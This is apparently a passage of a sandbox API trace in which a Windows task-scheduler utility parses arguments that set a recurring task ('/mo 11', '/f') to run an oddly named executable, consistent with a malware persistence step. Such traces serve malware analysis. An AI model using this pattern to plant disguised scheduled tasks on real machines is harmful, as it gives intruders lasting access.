[0126.950] SetLastError (dwErrCode=0x490) [0126.950] SetLastError (dwErrCode=0x0) [0126.950] lstrlenW (lpString="MINUTE") returned 6 [0126.950] GetProcessHeap () returned 0x150000 [0126.950] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d4c0 [0126.950] GetProcessHeap () returned 0x150000 [0126.950] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc90 [0126.950] SetLastError (dwErrCode=0x0) [0126.950] SetLastError (dwErrCode=0x0) [0126.950] lstrlenW (lpString="/mo") returned 3 [0126.950] lstrlenW (lpString="-/") returned 2 [0126.950] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.950] lstrlenW (lpString="?") returned 1 [0126.950] lstrlenW (lpString="?") returned 1 [0126.950] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.950] lstrlenW (lpString="mo") returned 2 [0126.950] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.950] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.950] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.950] lstrlenW (lpString="|?|") returned 3 [0126.950] lstrlenW (lpString="|mo|") returned 4 [0126.950] SetLastError (dwErrCode=0x490) [0126.950] lstrlenW (lpString="create") returned 6 [0126.950] lstrlenW (lpString="create") returned 6 [0126.951] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] lstrlenW (lpString="mo") returned 2 [0126.951] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.951] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.951] lstrlenW (lpString="|create|") returned 8 [0126.951] lstrlenW (lpString="|mo|") returned 4 [0126.951] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0126.951] SetLastError (dwErrCode=0x490) [0126.951] lstrlenW (lpString="delete") returned 6 [0126.951] lstrlenW (lpString="delete") returned 6 [0126.951] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] lstrlenW (lpString="mo") returned 2 [0126.951] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|delete|") returned 8 [0126.951] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.951] lstrlenW (lpString="|delete|") returned 8 [0126.951] lstrlenW (lpString="|mo|") returned 4 [0126.951] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0126.951] SetLastError (dwErrCode=0x490) [0126.951] lstrlenW (lpString="query") returned 5 [0126.951] lstrlenW (lpString="query") returned 5 [0126.951] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] lstrlenW (lpString="mo") returned 2 [0126.951] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.951] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|query|") returned 7 [0126.952] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.952] lstrlenW (lpString="|query|") returned 7 [0126.952] lstrlenW (lpString="|mo|") returned 4 [0126.952] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0126.952] SetLastError (dwErrCode=0x490) [0126.952] lstrlenW (lpString="change") returned 6 [0126.952] lstrlenW (lpString="change") returned 6 [0126.952] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.952] lstrlenW (lpString="mo") returned 2 [0126.952] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.952] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|change|") returned 8 [0126.952] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.952] lstrlenW (lpString="|change|") returned 8 [0126.952] lstrlenW (lpString="|mo|") returned 4 [0126.952] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0126.952] SetLastError (dwErrCode=0x490) [0126.952] lstrlenW (lpString="run") returned 3 [0126.952] lstrlenW (lpString="run") returned 3 [0126.952] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.952] lstrlenW (lpString="mo") returned 2 [0126.952] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.952] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|run|") returned 5 [0126.952] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.952] lstrlenW (lpString="|run|") returned 5 [0126.952] lstrlenW (lpString="|mo|") returned 4 [0126.953] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0126.953] SetLastError (dwErrCode=0x490) [0126.953] lstrlenW (lpString="end") returned 3 [0126.953] lstrlenW (lpString="end") returned 3 [0126.953] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.953] lstrlenW (lpString="mo") returned 2 [0126.953] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.953] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|end|") returned 5 [0126.953] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.953] lstrlenW (lpString="|end|") returned 5 [0126.953] lstrlenW (lpString="|mo|") returned 4 [0126.953] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0126.953] SetLastError (dwErrCode=0x490) [0126.953] lstrlenW (lpString="showsid") returned 7 [0126.953] lstrlenW (lpString="showsid") returned 7 [0126.953] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.953] lstrlenW (lpString="mo") returned 2 [0126.953] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.953] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|showsid|") returned 9 [0126.953] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|mo|") returned 4 [0126.953] lstrlenW (lpString="|showsid|") returned 9 [0126.953] lstrlenW (lpString="|mo|") returned 4 [0126.953] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0126.953] SetLastError (dwErrCode=0x490) [0126.953] SetLastError (dwErrCode=0x490) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="/mo") returned 3 [0126.954] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0126.954] SetLastError (dwErrCode=0x490) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="/mo") returned 3 [0126.954] GetProcessHeap () returned 0x150000 [0126.954] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16dc90 [0126.954] GetProcessHeap () returned 0x150000 [0126.954] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccc0 [0126.954] SetLastError (dwErrCode=0x0) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="11") returned 2 [0126.954] lstrlenW (lpString="-/") returned 2 [0126.954] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0126.954] SetLastError (dwErrCode=0x490) [0126.954] SetLastError (dwErrCode=0x490) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="11") returned 2 [0126.954] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0126.954] SetLastError (dwErrCode=0x490) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="11") returned 2 [0126.954] GetProcessHeap () returned 0x150000 [0126.954] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x6) returned 0x16dcb0 [0126.954] GetProcessHeap () returned 0x150000 [0126.954] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccf0 [0126.954] SetLastError (dwErrCode=0x0) [0126.954] SetLastError (dwErrCode=0x0) [0126.954] lstrlenW (lpString="/tr") returned 3 [0126.954] lstrlenW (lpString="-/") returned 2 [0126.954] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.955] lstrlenW (lpString="?") returned 1 [0126.955] lstrlenW (lpString="?") returned 1 [0126.955] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.955] lstrlenW (lpString="tr") returned 2 [0126.955] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.955] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.955] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.955] lstrlenW (lpString="|?|") returned 3 [0126.955] lstrlenW (lpString="|tr|") returned 4 [0126.955] SetLastError (dwErrCode=0x490) [0126.955] lstrlenW (lpString="create") returned 6 [0126.955] lstrlenW (lpString="create") returned 6 [0126.955] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.955] lstrlenW (lpString="tr") returned 2 [0126.955] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.955] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.955] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.955] lstrlenW (lpString="|create|") returned 8 [0126.955] lstrlenW (lpString="|tr|") returned 4 [0126.955] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0126.955] SetLastError (dwErrCode=0x490) [0126.955] lstrlenW (lpString="delete") returned 6 [0126.955] lstrlenW (lpString="delete") returned 6 [0126.955] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.955] lstrlenW (lpString="tr") returned 2 [0126.956] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.956] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|delete|") returned 8 [0126.956] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.956] lstrlenW (lpString="|delete|") returned 8 [0126.956] lstrlenW (lpString="|tr|") returned 4 [0126.956] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0126.956] SetLastError (dwErrCode=0x490) [0126.956] lstrlenW (lpString="query") returned 5 [0126.956] lstrlenW (lpString="query") returned 5 [0126.956] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.956] lstrlenW (lpString="tr") returned 2 [0126.956] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.956] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|query|") returned 7 [0126.956] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.956] lstrlenW (lpString="|query|") returned 7 [0126.956] lstrlenW (lpString="|tr|") returned 4 [0126.956] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0126.956] SetLastError (dwErrCode=0x490) [0126.956] lstrlenW (lpString="change") returned 6 [0126.956] lstrlenW (lpString="change") returned 6 [0126.956] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.956] lstrlenW (lpString="tr") returned 2 [0126.956] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.956] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|change|") returned 8 [0126.956] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.957] lstrlenW (lpString="|change|") returned 8 [0126.957] lstrlenW (lpString="|tr|") returned 4 [0126.957] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0126.957] SetLastError (dwErrCode=0x490) [0126.957] lstrlenW (lpString="run") returned 3 [0126.957] lstrlenW (lpString="run") returned 3 [0126.957] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.957] lstrlenW (lpString="tr") returned 2 [0126.957] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.957] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|run|") returned 5 [0126.957] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.957] lstrlenW (lpString="|run|") returned 5 [0126.957] lstrlenW (lpString="|tr|") returned 4 [0126.957] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0126.957] SetLastError (dwErrCode=0x490) [0126.957] lstrlenW (lpString="end") returned 3 [0126.957] lstrlenW (lpString="end") returned 3 [0126.957] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.957] lstrlenW (lpString="tr") returned 2 [0126.957] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.957] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|end|") returned 5 [0126.957] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.957] lstrlenW (lpString="|end|") returned 5 [0126.957] lstrlenW (lpString="|tr|") returned 4 [0126.957] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0126.957] SetLastError (dwErrCode=0x490) [0126.958] lstrlenW (lpString="showsid") returned 7 [0126.958] lstrlenW (lpString="showsid") returned 7 [0126.958] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.958] lstrlenW (lpString="tr") returned 2 [0126.958] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.958] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|showsid|") returned 9 [0126.958] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|tr|") returned 4 [0126.958] lstrlenW (lpString="|showsid|") returned 9 [0126.958] lstrlenW (lpString="|tr|") returned 4 [0126.958] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0126.958] SetLastError (dwErrCode=0x490) [0126.958] SetLastError (dwErrCode=0x490) [0126.958] SetLastError (dwErrCode=0x0) [0126.958] lstrlenW (lpString="/tr") returned 3 [0126.958] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0126.958] SetLastError (dwErrCode=0x490) [0126.958] SetLastError (dwErrCode=0x0) [0126.958] lstrlenW (lpString="/tr") returned 3 [0126.958] GetProcessHeap () returned 0x150000 [0126.958] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16dcd0 [0126.958] GetProcessHeap () returned 0x150000 [0126.958] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd20 [0126.958] SetLastError (dwErrCode=0x0) [0126.958] SetLastError (dwErrCode=0x0) [0126.958] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0126.958] lstrlenW (lpString="-/") returned 2 [0126.958] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.959] SetLastError (dwErrCode=0x490) [0126.959] SetLastError (dwErrCode=0x490) [0126.959] SetLastError (dwErrCode=0x0) [0126.959] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0126.959] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0126.959] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0126.959] GetProcessHeap () returned 0x150000 [0126.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d4e0 [0126.959] _memicmp (_Buf1=0x16d4e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.959] GetProcessHeap () returned 0x150000 [0126.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d500 [0126.959] GetProcessHeap () returned 0x150000 [0126.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d520 [0126.959] _memicmp (_Buf1=0x16d520, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.959] GetProcessHeap () returned 0x150000 [0126.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x62) returned 0x16dcf0 [0126.959] SetLastError (dwErrCode=0x7a) [0126.959] SetLastError (dwErrCode=0x0) [0126.959] SetLastError (dwErrCode=0x0) [0126.959] lstrlenW (lpString="'C") returned 2 [0126.959] lstrlenW (lpString="-/") returned 2 [0126.959] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0126.959] SetLastError (dwErrCode=0x490) [0126.959] SetLastError (dwErrCode=0x490) [0126.959] SetLastError (dwErrCode=0x0) [0126.959] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0126.959] GetProcessHeap () returned 0x150000 [0126.959] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x60) returned 0x16dd60 [0126.960] GetProcessHeap () returned 0x150000 [0126.960] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd50 [0126.960] SetLastError (dwErrCode=0x0) [0126.960] SetLastError (dwErrCode=0x0) [0126.960] lstrlenW (lpString="/f") returned 2 [0126.960] lstrlenW (lpString="-/") returned 2 [0126.960] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.960] lstrlenW (lpString="?") returned 1 [0126.960] lstrlenW (lpString="?") returned 1 [0126.960] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.960] lstrlenW (lpString="f") returned 1 [0126.960] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.960] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|?|") returned 3 [0126.960] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.960] lstrlenW (lpString="|?|") returned 3 [0126.960] lstrlenW (lpString="|f|") returned 3 [0126.960] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0126.960] SetLastError (dwErrCode=0x490) [0126.960] lstrlenW (lpString="create") returned 6 [0126.960] lstrlenW (lpString="create") returned 6 [0126.960] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.960] lstrlenW (lpString="f") returned 1 [0126.960] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.960] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|create|") returned 8 [0126.961] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.961] lstrlenW (lpString="|create|") returned 8 [0126.961] lstrlenW (lpString="|f|") returned 3 [0126.961] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0126.961] SetLastError (dwErrCode=0x490) [0126.961] lstrlenW (lpString="delete") returned 6 [0126.961] lstrlenW (lpString="delete") returned 6 [0126.961] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.961] lstrlenW (lpString="f") returned 1 [0126.961] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.961] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|delete|") returned 8 [0126.961] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.961] lstrlenW (lpString="|delete|") returned 8 [0126.961] lstrlenW (lpString="|f|") returned 3 [0126.961] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0126.961] SetLastError (dwErrCode=0x490) [0126.961] lstrlenW (lpString="query") returned 5 [0126.961] lstrlenW (lpString="query") returned 5 [0126.961] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.961] lstrlenW (lpString="f") returned 1 [0126.961] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.961] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|query|") returned 7 [0126.961] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.961] lstrlenW (lpString="|query|") returned 7 [0126.961] lstrlenW (lpString="|f|") returned 3 [0126.961] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0126.962] SetLastError (dwErrCode=0x490) [0126.962] lstrlenW (lpString="change") returned 6 [0126.962] lstrlenW (lpString="change") returned 6 [0126.962] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.962] lstrlenW (lpString="f") returned 1 [0126.962] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.962] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|change|") returned 8 [0126.962] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.962] lstrlenW (lpString="|change|") returned 8 [0126.962] lstrlenW (lpString="|f|") returned 3 [0126.962] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0126.962] SetLastError (dwErrCode=0x490) [0126.962] lstrlenW (lpString="run") returned 3 [0126.962] lstrlenW (lpString="run") returned 3 [0126.962] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.962] lstrlenW (lpString="f") returned 1 [0126.962] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.962] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|run|") returned 5 [0126.962] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.962] lstrlenW (lpString="|run|") returned 5 [0126.962] lstrlenW (lpString="|f|") returned 3 [0126.962] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0126.962] SetLastError (dwErrCode=0x490) [0126.962] lstrlenW (lpString="end") returned 3 [0126.962] lstrlenW (lpString="end") returned 3 [0126.962] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.963] lstrlenW (lpString="f") returned 1 [0126.963] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.963] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|end|") returned 5 [0126.963] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.963] lstrlenW (lpString="|end|") returned 5 [0126.963] lstrlenW (lpString="|f|") returned 3 [0126.963] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0126.963] SetLastError (dwErrCode=0x490) [0126.963] lstrlenW (lpString="showsid") returned 7 [0126.963] lstrlenW (lpString="showsid") returned 7 [0126.963] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.963] lstrlenW (lpString="f") returned 1 [0126.963] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0126.963] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|showsid|") returned 9 [0126.963] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f798 | out: _Buffer="|f|") returned 3 [0126.963] lstrlenW (lpString="|showsid|") returned 9 [0126.963] lstrlenW (lpString="|f|") returned 3 [0126.963] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0126.963] SetLastError (dwErrCode=0x490) [0126.963] SetLastError (dwErrCode=0x490) [0126.963] SetLastError (dwErrCode=0x0) [0126.963] lstrlenW (lpString="/f") returned 2 [0126.963] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0126.963] SetLastError (dwErrCode=0x490) [0126.963] SetLastError (dwErrCode=0x0) [0126.963] lstrlenW (lpString="/f") returned 2 [0126.963] GetProcessHeap () returned 0x150000 [0126.964] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x6) returned 0x16ddd0 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd80 [0126.964] SetLastError (dwErrCode=0x0) [0126.964] GetProcessHeap () returned 0x150000 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1c0) returned 1 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1c0) returned 0x8 [0126.964] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1c0 | out: hHeap=0x150000) returned 1 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0) returned 1 [0126.964] GetProcessHeap () returned 0x150000 [0126.964] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cbd0) returned 0x20 [0126.964] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cbd0 | out: hHeap=0x150000) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00) returned 1 [0126.965] GetProcessHeap () returned 0x150000 [0126.965] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc00) returned 0x1e [0126.965] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00 | out: hHeap=0x150000) returned 1 [0126.965] GetProcessHeap () 